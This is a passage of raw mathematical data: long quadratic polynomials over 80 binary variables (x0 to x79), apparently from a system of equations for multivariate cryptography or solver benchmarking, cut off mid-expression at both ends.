x13*x58 + x13*x59 + x13*x60 + x13*x62 + x13*x63 + x13*x66 + x13*x67 + x13*x68 + x13*x70 + x13*x71 + x13*x72 + x13*x77 + x13*x78 + x13*x79 + x13 + x14*x17 + x14*x19 + x14*x21 + x14*x22 + x14*x23 + x14*x26 + x14*x27 + x14*x28 + x14*x30 + x14*x34 + x14*x36 + x14*x37 + x14*x38 + x14*x41 + x14*x42 + x14*x45 + x14*x50 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x59 + x14*x60 + x14*x62 + x14*x63 + x14*x64 + x14*x66 + x14*x70 + x14*x71 + x14*x76 + x14*x78 + x14*x79 + x14 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x29 + x15*x31 + x15*x34 + x15*x36 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x53 + x15*x55 + x15*x57 + x15*x59 + x15*x62 + x15*x65 + x15*x66 + x15*x68 + x15*x70 + x15*x71 + x15*x72 + x15*x74 + x15*x77 + x15*x78 + x15*x79 + x16*x17 + x16*x21 + x16*x22 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x35 + x16*x37 + x16*x38 + x16*x39 + x16*x41 + x16*x43 + x16*x44 + x16*x48 + x16*x52 + x16*x53 + x16*x56 + x16*x57 + x16*x58 + x16*x61 + x16*x62 + x16*x63 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x70 + x16*x71 + x16*x73 + x16*x76 + x17*x19 + x17*x20 + x17*x21 + x17*x23 + x17*x25 + x17*x28 + x17*x32 + x17*x35 + x17*x36 + x17*x37 + x17*x38 + x17*x41 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x50 + x17*x52 + x17*x53 + x17*x55 + x17*x56 + x17*x59 + x17*x60 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x73 + x17*x74 + x17*x77 + x17*x78 + x17*x79 + x18*x21 + x18*x24 + x18*x26 + x18*x27 + x18*x28 + x18*x29 + x18*x33 + x18*x34 + x18*x35 + x18*x37 + x18*x38 + x18*x43 + x18*x45 + x18*x48 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x63 + x18*x64 + x18*x69 + x18*x71 + x18*x74 + x18*x77 + x18*x78 + x19*x22 + x19*x23 + x19*x33 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x45 + x19*x46 + x19*x47 + x19*x50 + x19*x51 + x19*x52 + x19*x59 + x19*x65 + x19*x66 + x19*x68 + x19*x69 + x19*x71 + x19*x73 + x19*x74 + x19*x78 + x19*x79 + x20*x24 + x20*x26 + x20*x27 + x20*x29 + x20*x32 + x20*x35 + x20*x36 + x20*x37 + x20*x38 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x44 + x20*x45 + x20*x47 + x20*x48 + x20*x50 + x20*x53 + x20*x55 + x20*x56 + x20*x58 + x20*x60 + x20*x62 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x20 + x21*x23 + x21*x24 + x21*x26 + x21*x28 + x21*x29 + x21*x30 + x21*x34 + x21*x35 + x21*x37 + x21*x39 + x21*x41 + x21*x42 + x21*x45 + x21*x46 + x21*x48 + x21*x49 + x21*x53 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x61 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x72 + x21*x75 + x21*x78 + x22*x24 + x22*x25 + x22*x26 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x35 + x22*x36 + x22*x38 + x22*x39 + x22*x40 + x22*x43 + x22*x47 + x22*x49 + x22*x50 + x22*x51 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x62 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x70 + x22*x71 + x22*x72 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x23*x25 + x23*x26 + x23*x28 + x23*x29 + x23*x38 + x23*x46 + x23*x48 + x23*x53 + x23*x55 + x23*x57 + x23*x58 + x23*x61 + x23*x63 + x23*x64 + x23*x65 + x23*x67 + x23*x69 + x23*x72 + x23*x73 + x23*x74 + x23*x76 + x23*x77 + x23*x79 + x23 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x37 + x24*x41 + x24*x42 + x24*x43 + x24*x46 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x56 + x24*x57 + x24*x63 + x24*x64 + x24*x67 + x24*x73 + x24*x74 + x24*x78 + x24*x79 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x36 + x25*x37 + x25*x41 + x25*x42 + x25*x44 + x25*x46 + x25*x48 + x25*x49 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x54 + x25*x56 + x25*x57 + x25*x67 + x25*x68 + x25*x71 + x25*x74 + x25*x77 + x25*x79 + x26*x27 + x26*x29 + x26*x30 + x26*x31 + x26*x33 + x26*x34 + x26*x35 + x26*x37 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x46 + x26*x49 + x26*x50 + x26*x51 + x26*x53 + x26*x54 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x63 + x26*x65 + x26*x68 + x26*x69 + x26*x71 + x26*x75 + x26*x77 + x26*x79 + x26 + x27*x29 + x27*x30 + x27*x31 + x27*x32 + x27*x33 + x27*x35 + x27*x37 + x27*x38 + x27*x47 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x59 + x27*x62 + x27*x64 + x27*x65 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x76 + x27 + x28*x29 + x28*x30 + x28*x33 + x28*x34 + x28*x37 + x28*x38 + x28*x39 + x28*x42 + x28*x47 + x28*x50 + x28*x51 + x28*x54 + x28*x55 + x28*x58 + x28*x59 + x28*x60 + x28*x61 + x28*x63 + x28*x64 + x28*x65 + x28*x66 + x28*x70 + x28*x75 + x28*x77 + x28*x78 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x37 + x29*x40 + x29*x42 + x29*x43 + x29*x44 + x29*x46 + x29*x53 + x29*x55 + x29*x56 + x29*x60 + x29*x61 + x29*x63 + x29*x66 + x29*x68 + x29*x72 + x29*x74 + x29*x78 + x29 + x30*x32 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x41 + x30*x43 + x30*x44 + x30*x46 + x30*x47 + x30*x48 + x30*x49 + x30*x55 + x30*x57 + x30*x58 + x30*x64 + x30*x65 + x30*x66 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x43 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x51 + x31*x53 + x31*x56 + x31*x59 + x31*x60 + x31*x62 + x31*x63 + x31*x66 + x31*x69 + x31*x71 + x31*x74 + x31*x75 + x31*x76 + x31*x79 + x31 + x32*x34 + x32*x35 + x32*x38 + x32*x39 + x32*x41 + x32*x43 + x32*x46 + x32*x47 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x60 + x32*x62 + x32*x63 + x32*x66 + x32*x69 + x32*x74 + x32*x78 + x32 + x33*x37 + x33*x46 + x33*x47 + x33*x49 + x33*x53 + x33*x55 + x33*x56 + x33*x59 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x69 + x33*x74 + x33*x76 + x33*x78 + x33*x79 + x34*x35 + x34*x37 + x34*x40 + x34*x42 + x34*x53 + x34*x55 + x34*x58 + x34*x59 + x34*x60 + x34*x64 + x34*x68 + x34*x69 + x34*x70 + x34*x72 + x34*x74 + x34*x78 + x34*x79 + x34 + x35*x36 + x35*x38 + x35*x39 + x35*x40 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x50 + x35*x51 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x62 + x35*x66 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x75 + x35*x77 + x35*x78 + x36*x38 + x36*x39 + x36*x44 + x36*x45 + x36*x48 + x36*x50 + x36*x51 + x36*x53 + x36*x54 + x36*x61 + x36*x63 + x36*x66 + x36*x69 + x36*x73 + x36*x75 + x36*x76 + x36 + x37*x39 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x53 + x37*x56 + x37*x58 + x37*x59 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x71 + x37*x72 + x37*x73 + x37*x75 + x37*x77 + x37*x78 + x38*x39 + x38*x40 + x38*x43 + x38*x45 + x38*x46 + x38*x47 + x38*x52 + x38*x54 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x62 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x69 + x38*x70 + x38*x72 + x38*x74 + x38*x78 + x39*x45 + x39*x46 + x39*x47 + x39*x50 + x39*x53 + x39*x54 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x64 + x39*x65 + x39*x66 + x39*x70 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x39*x78 + x39*x79 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x48 + x40*x50 + x40*x51 + x40*x55 + x40*x58 + x40*x59 + x40*x60 + x40*x61 + x40*x62 + x40*x64 + x40*x65 + x40*x69 + x40*x70 + x40*x71 + x40*x72 + x40*x74 + x40*x76 + x40*x77 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x56 + x41*x57 + x41*x58 + x41*x61 + x41*x62 + x41*x68 + x41*x70 + x41*x74 + x41*x75 + x41 + x42*x46 + x42*x47 + x42*x49 + x42*x50 + x42*x53 + x42*x54 + x42*x57 + x42*x58 + x42*x60 + x42*x62 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x76 + x42*x79 + x43*x46 + x43*x47 + x43*x51 + x43*x52 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x63 + x43*x66 + x43*x67 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x76 + x43 + x44*x45 + x44*x46 + x44*x50 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x59 + x44*x60 + x44*x62 + x44*x63 + x44*x66 + x44*x68 + x44*x69 + x44*x74 + x44*x76 + x44*x79 + x44 + x45*x50 + x45*x54 + x45*x56 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x61 + x45*x64 + x45*x68 + x45*x69 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x46*x48 + x46*x54 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x61 + x46*x63 + x46*x65 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x73 + x46*x76 + x46*x77 + x47*x52 + x47*x55 + x47*x56 + x47*x58 + x47*x60 + x47*x62 + x47*x63 + x47*x64 + x47*x69 + x47*x70 + x47*x72 + x47*x73 + x47*x75 + x47*x78 + x48*x49 + x48*x50 + x48*x52 + x48*x54 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x62 + x48*x64 + x48*x65 + x48*x69 + x48*x70 + x48*x73 + x48*x74 + x48*x78 + x49*x52 + x49*x54 + x49*x55 + x49*x56 + x49*x58 + x49*x59 + x49*x60 + x49*x61 + x49*x63 + x49*x64 + x49*x65 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x73 + x49*x78 + x50*x51 + x50*x53 + x50*x58 + x50*x60 + x50*x61 + x50*x63 + x50*x65 + x50*x66 + x50*x68 + x50*x69 + x50*x70 + x50*x76 + x50*x79 + x51*x52 + x51*x55 + x51*x57 + x51*x60 + x51*x62 + x51*x63 + x51*x67 + x51*x68 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x59 + x52*x60 + x52*x61 + x52*x62 + x52*x65 + x52*x66 + x52*x68 + x52*x70 + x52*x77 + x52 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x60 + x53*x63 + x53*x64 + x53*x70 + x53*x72 + x53*x74 + x53*x77 + x53*x78 + x53*x79 + x54*x58 + x54*x59 + x54*x60 + x54*x61 + x54*x65 + x54*x66 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x61 + x55*x63 + x55*x66 + x55*x67 + x55*x70 + x55*x72 + x55*x75 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x59 + x56*x60 + x56*x62 + x56*x63 + x56*x65 + x56*x68 + x56*x69 + x56*x70 + x56*x73 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x57*x58 + x57*x61 + x57*x67 + x57*x69 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x57*x77 + x58*x60 + x58*x62 + x58*x63 + x58*x65 + x58*x66 + x58*x68 + x58*x69 + x58*x71 + x58*x74 + x58*x79 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x68 + x59*x69 + x59*x76 + x59*x77 + x59*x79 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x65 + x60*x70 + x60*x71 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x60 + x61*x62 + x61*x64 + x61*x65 + x61*x67 + x61*x68 + x61*x71 + x61*x73 + x61*x76 + x61*x79 + x61 + x62*x64 + x62*x66 + x62*x67 + x62*x68 + x62*x69 + x62*x70 + x62*x72 + x62*x73 + x62*x75 + x62*x79 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x75 + x63*x76 + x63*x77 + x64*x65 + x64*x66 + x64*x70 + x64*x71 + x64*x74 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x75 + x65*x77 + x65*x78 + x65*x79 + x66*x67 + x66*x70 + x66*x72 + x66*x76 + x66*x77 + x67*x68 + x67*x69 + x67*x76 + x67*x77 + x67*x78 + x67 + x68*x69 + x68*x70 + x68*x72 + x68*x76 + x68*x78 + x68*x79 + x69*x71 + x69*x72 + x69*x73 + x69*x75 + x69*x76 + x69*x77 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x78 + x70*x79 + x70 + x71*x74 + x71*x77 + x71*x78 + x72*x76 + x72*x77 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73*x79 + x74*x76 + x74*x78 + x74 + x75*x76 + x76*x77 + x76 + x77*x79 + x77 + 1, x0*x1 + x0*x2 + x0*x5 + x0*x6 + x0*x10 + x0*x11 + x0*x17 + x0*x23 + x0*x28 + x0*x29 + x0*x30 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x40 + x0*x42 + x0*x43 + x0*x46 + x0*x50 + x0*x52 + x0*x53 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x65 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x0*x73 + x0*x75 + x0*x79 + x0 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x11 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x23 + x1*x25 + x1*x27 + x1*x30 + x1*x31 + x1*x34 + x1*x35 + x1*x36 + x1*x42 + x1*x44 + x1*x45 + x1*x47 + x1*x48 + x1*x53 + x1*x54 + x1*x55 + x1*x57 + x1*x59 + x1*x61 + x1*x62 + x1*x64 + x1*x66 + x1*x67 + x1*x72 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x7 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x18 + x2*x20 + x2*x23 + x2*x25 + x2*x26 + x2*x28 + x2*x30 + x2*x32 + x2*x33 + x2*x35 + x2*x36 + x2*x37 + x2*x38 + x2*x40 + x2*x41 + x2*x45 + x2*x46 + x2*x48 + x2*x50 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x61 + x2*x62 + x2*x63 + x2*x70 + x2*x71 + x2*x72 + x2*x74 + x2*x75 + x2*x77 + x2*x79 + x2 + x3*x6 + x3*x8 + x3*x11 + x3*x18 + x3*x19 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x31 + x3*x32 + x3*x38 + x3*x46 + x3*x47 + x3*x49 + x3*x52 + x3*x53 + x3*x54 + x3*x56 + x3*x57 + x3*x58 + x3*x59 + x3*x61 + x3*x62 + x3*x63 + x3*x65 + x3*x67 + x3*x69 + x3*x73 + x3*x75 + x3*x76 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x11 + x4*x12 + x4*x18 + x4*x23 + x4*x27 + x4*x31 + x4*x32 + x4*x34 + x4*x35 + x4*x38 + x4*x39 + x4*x42 + x4*x44 + x4*x46 + x4*x50 + x4*x51 + x4*x53 + x4*x57 + x4*x59 + x4*x60 + x4*x61 + x4*x62 + x4*x64 + x4*x68 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x77 + x4*x79 + x5*x6 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x17 + x5*x18 + x5*x20 + x5*x21 + x5*x23 + x5*x24 + x5*x25 + x5*x31 + x5*x33 + x5*x35 + x5*x39 + x5*x40 + x5*x42 + x5*x43 + x5*x44 + x5*x46 + x5*x47 + x5*x50 + x5*x56 + x5*x57 + x5*x60 + x5*x62 + x5*x68 + x5*x70 + x5*x71 + x5*x74 + x5*x77 + x5*x79 + x6*x7 + x6*x8 + x6*x9 + x6*x11 + x6*x13 + x6*x21 + x6*x22 + x6*x25 + x6*x26 + x6*x30 + x6*x31 + x6*x34 + x6*x37 + x6*x38 + x6*x39 + x6*x44 + x6*x45 + x6*x49 + x6*x53 + x6*x56 + x6*x57 + x6*x58 + x6*x61 + x6*x62 + x6*x64 + x6*x68 + x6*x74 + x6*x76 + x6*x78 + x6*x79 + x7*x11 + x7*x14 + x7*x16 + x7*x17 + x7*x21 + x7*x22 + x7*x28 + x7*x29 + x7*x30 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x42 + x7*x43 + x7*x50 + x7*x53 + x7*x54 + x7*x56 + x7*x58 + x7*x60 + x7*x62 + x7*x67 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x74 + x7*x75 + x7*x77 + x8*x9 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x21 + x8*x24 + x8*x27 + x8*x29 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x36 + x8*x39 + x8*x40 + x8*x42 + x8*x44 + x8*x45 + x8*x47 + x8*x52 + x8*x56 + x8*x58 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x66 + x8*x69 + x8*x73 + x8*x75 + x8*x76 + x9*x10 + x9*x12 + x9*x13 + x9*x15 + x9*x17 + x9*x18 + x9*x19 + x9*x28 + x9*x33 + x9*x36 + x9*x39 + x9*x41 + x9*x42 + x9*x43 + x9*x45 + x9*x49 + x9*x50 + x9*x51 + x9*x52 + x9*x53 + x9*x58 + x9*x62 + x9*x64 + x9*x65 + x9*x67 + x9*x72 + x9*x73 + x9*x75 + x9*x77 + x9*x79 + x9 + x10*x11 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x21 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x31 + x10*x34 + x10*x35 + x10*x37 + x10*x39 + x10*x40 + x10*x41 + x10*x44 + x10*x45 + x10*x47 + x10*x57 + x10*x58 + x10*x60 + x10*x61 + x10*x62 + x10*x66 + x10*x68 + x10*x70 + x10*x72 + x10*x73 + x10*x74 + x10*x75 + x11*x12 + x11*x13 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x28 + x11*x32 + x11*x33 + x11*x34 + x11*x37 + x11*x41 + x11*x42 + x11*x43 + x11*x47 + x11*x49 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x61 + x11*x62 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x74 + x11*x78 + x11*x79 + x12*x13 + x12*x14 + x12*x16 + x12*x21 + x12*x23 + x12*x28 + x12*x30 + x12*x32 + x12*x33 + x12*x36 + x12*x38 + x12*x40 + x12*x48 + x12*x49 + x12*x51 + x12*x53 + x12*x56 + x12*x58 + x12*x62 + x12*x64 + x12*x65 + x12*x66 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x77 + x12*x78 + x12*x79 + x13*x16 + x13*x20 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x28 + x13*x33 + x13*x37 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x48 + x13*x50 + x13*x55 + x13*x58 + x13*x59 + x13*x61 + x13*x62 + x13*x63 + x13*x64 + x13*x65 + x13*x66 + x13*x69 + x13*x73 + x13*x76 + x13*x77 + x13 + x14*x15 + x14*x16 + x14*x17 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x29 + x14*x30 + x14*x31 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x52 + x14*x53 + x14*x57 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x67 + x14*x70 + x14*x74 + x14*x75 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x18 + x15*x19 + x15*x22 + x15*x24 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x34 + x15*x35 + x15*x38 + x15*x40 + x15*x41 + x15*x44 + x15*x48 + x15*x51 + x15*x53 + x15*x54 + x15*x56 + x15*x61 + x15*x64 + x15*x65 + x15*x69 + x15*x72 + x15*x73 + x15*x75 + x15 + x16*x20 + x16*x22 + x16*x23 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x33 + x16*x35 + x16*x37 + x16*x38 + x16*x41 + x16*x43 + x16*x44 + x16*x46 + x16*x48 + x16*x50 + x16*x51 + x16*x55 + x16*x56 + x16*x58 + x16*x59 + x16*x65 + x16*x67 + x16*x71 + x16*x72 + x16*x74 + x16*x76 + x16*x77 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x26 + x17*x29 + x17*x30 + x17*x31 + x17*x32 + x17*x33 + x17*x34 + x17*x35 + x17*x41 + x17*x43 + x17*x46 + x17*x47 + x17*x48 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x62 + x17*x63 + x17*x65 + x17*x66 + x17*x68 + x17*x69 + x17*x71 + x17*x72 + x17*x73 + x17*x77 + x17*x78 + x17 + x18*x19 + x18*x23 + x18*x25 + x18*x29 + x18*x33 + x18*x34 + x18*x37 + x18*x38 + x18*x39 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x50 + x18*x52 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x60 + x18*x65 + x18*x66 + x18*x68 + x18*x69 + x18*x71 + x18*x72 + x18*x75 + x18 + x19*x20 + x19*x21 + x19*x23 + x19*x25 + x19*x29 + x19*x36 + x19*x39 + x19*x40 + x19*x42 + x19*x46 + x19*x50 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x63 + x19*x66 + x19*x67 + x19*x69 + x19*x70 + x19*x73 + x19*x74 + x19*x75 + x19*x76 + x19*x78 + x19 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x35 + x20*x38 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x48 + x20*x54 + x20*x56 + x20*x58 + x20*x63 + x20*x65 + x20*x67 + x20*x68 + x20*x69 + x20*x73 + x20*x77 + x20*x78 + x20*x79 + x21*x22 + x21*x23 + x21*x24 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x33 + x21*x38 + x21*x40 + x21*x41 + x21*x42 + x21*x43 + x21*x50 + x21*x52 + x21*x56 + x21*x58 + x21*x60 + x21*x65 + x21*x66 + x21*x68 + x21*x69 + x21*x71 + x21*x72 + x21*x74 + x21*x75 + x21*x76 + x21 + x22*x26 + x22*x27 + x22*x29 + x22*x31 + x22*x33 + x22*x34 + x22*x38 + x22*x39 + x22*x41 + x22*x45 + x22*x48 + x22*x49 + x22*x52 + x22*x53 + x22*x54 + x22*x56 + x22*x57 + x22*x58 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x68 + x22*x69 + x22*x72 + x22*x73 + x22*x76 + x22*x79 + x23*x24 + x23*x25 + x23*x27 + x23*x29 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x35 + x23*x36 + x23*x39 + x23*x41 + x23*x42 + x23*x43 + x23*x45 + x23*x47 + x23*x55 + x23*x56 + x23*x57 + x23*x58 + x23*x63 + x23*x65 + x23*x66 + x23*x67 + x23*x69 + x23*x71 + x23*x72 + x23*x74 + x23*x75 + x23*x77 + x23*x78 + x24*x25 + x24*x27 + x24*x29 + x24*x32 + x24*x33 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x41 + x24*x43 + x24*x44 + x24*x51 + x24*x52 + x24*x55 + x24*x56 + x24*x62 + x24*x63 + x24*x64 + x24*x67 + x24*x68 + x24*x71 + x24*x72 + x24*x73 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x27 + x25*x28 + x25*x33 + x25*x34 + x25*x35 + x25*x38 + x25*x39 + x25*x41 + x25*x42 + x25*x43 + x25*x45 + x25*x46 + x25*x49 + x25*x51 + x25*x53 + x25*x55 + x25*x57 + x25*x58 + x25*x61 + x25*x63 + x25*x65 + x25*x68 + x25*x70 + x25*x72 + x25*x73 + x25*x75 + x25*x78 + x25*x79 + x26*x29 + x26*x30 + x26*x31 + x26*x34 + x26*x35 + x26*x42 + x26*x45 + x26*x48 + x26*x49 + x26*x52 + x26*x58 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x71 + x26*x73 + x26*x74 + x26*x76 + x26*x78 + x27*x28 + x27*x33 + x27*x37 + x27*x39 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x45 + x27*x47 + x27*x48 + x27*x49 + x27*x52 + x27*x53 + x27*x55 + x27*x58 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x65 + x27*x66 + x27*x67 + x27*x69 + x27*x71 + x27*x72 + x27*x74 + x27*x76 + x27 + x28*x29 + x28*x31 + x28*x32 + x28*x33 + x28*x36 + x28*x37 + x28*x39 + x28*x42 + x28*x45 + x28*x48 + x28*x51 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x58 + x28*x60 + x28*x63 + x28*x64 + x28*x68 + x28*x69 + x28*x71 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x76 + x28 + x29*x33 + x29*x34 + x29*x36 + x29*x37 + x29*x38 + x29*x41 + x29*x44 + x29*x45 + x29*x47 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x64 + x29*x71 + x29*x75 + x29*x77 + x29*x78 + x30*x31 + x30*x32 + x30*x34 + x30*x35 + x30*x39 + x30*x41 + x30*x43 + x30*x44 + x30*x46 + x30*x47 + x30*x51 + x30*x52 + x30*x53 + x30*x56 + x30*x57 + x30*x60 + x30*x61 + x30*x62 + x30*x64 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x76 + x30*x77 + x30*x78 + x30 + x31*x32 + x31*x33 + x31*x34 + x31*x37 + x31*x39 + x31*x40 + x31*x47 + x31*x48 + x31*x49 + x31*x51 + x31*x53 + x31*x55 + x31*x58 + x31*x66 + x31*x67 + x31*x69 + x31*x73 + x31*x74 + x31*x75 + x31*x77 + x31*x79 + x31 + x32*x36 + x32*x37 + x32*x38 + x32*x43 + x32*x46 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x59 + x32*x61 + x32*x62 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x68 + x32*x69 + x32*x73 + x32*x74 + x32*x76 + x32*x77 + x32*x78 + x33*x35 + x33*x36 + x33*x39 + x33*x40 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x51 + x33*x52 + x33*x54 + x33*x55 + x33*x56 + x33*x61 + x33*x63 + x33*x64 + x33*x65 + x33*x67 + x33*x68 + x33*x71 + x33*x72 + x33*x75 + x33*x76 + 